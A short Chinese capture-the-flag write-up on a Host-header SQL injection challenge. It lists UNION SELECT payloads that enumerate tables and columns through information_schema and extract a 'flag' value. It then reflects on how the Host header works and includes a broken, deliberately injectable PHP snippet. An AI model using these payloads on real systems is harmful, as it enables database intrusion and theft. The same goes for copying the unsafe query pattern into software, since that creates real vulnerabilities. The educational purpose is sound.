-
手动判断注入点
-
判断字段
-
判断表名union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())
-
判断列名 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='flag')
image.png
-
判断值 union select 1,2,3,(select group_concat(flag) from flag)
一些感想
整个过程与普通的sql注入无异,没什么难度。真正的核心难度在与如何找到注入点,但是因为题目已经给出是Host注入了,所以也能根据这个提示找到注入点。但是我还是有个疑问:Host字段是用来记录地址的,为什么可以直接拼接构造order by 1
或者 and 1=1 这些语句?
带着这些疑问,我去寻找host字段相关的解释
Host字段的作用
通常,我们一台服务器上不止有一个web程序,很多情况下都有几个web程序,也就是说这几个web程序共用一个ip地址。当我们配置基于端口的虚拟主机,这是没有什么问题的,不同的web程序可以通过不同的端口来判断。但是,当我们配置基于域名的虚拟主机时,几个web程序共用一个ip地址(这里我们假设为192.168.1.1)和一个端口(这里我们假设为80端口)。那么,当客户端请求都发到了服务器的80端口,服务器怎么判断这条请求是发送给哪个web程序的呢?这时候,host头出现了,host头指定了应该由哪个网站或是web应用程序来处理一个传入的HTTP请求。web服务器使用该头部的值来将请求分派到指定的网站或web应用程序之上。
一般后端的获取host形式为:
<link href=http://_SERVER["HTTP_HOST"]></link> //触发一个get请求
<form method=”POST”></form> //触发POST请求
直接塞order by 或者and等字段是无法执行的才对
唯有的解释就是他像cookie 的sql注入一样,有着相似的代码(将_cookie换成host之类的获取客户端传来的值),才存在构造sql 的可能
<?php
$id =$_COOKIE['id'];
$result = mysqli_query($con,"select * users where 'id' = .$id);
?>
而且网上大部分基于host注入的利用方向是缓存污染和密码重置,基于host的sql注入方式实在少见。
所以我认为这道题是为出题而出题,实战意义不大。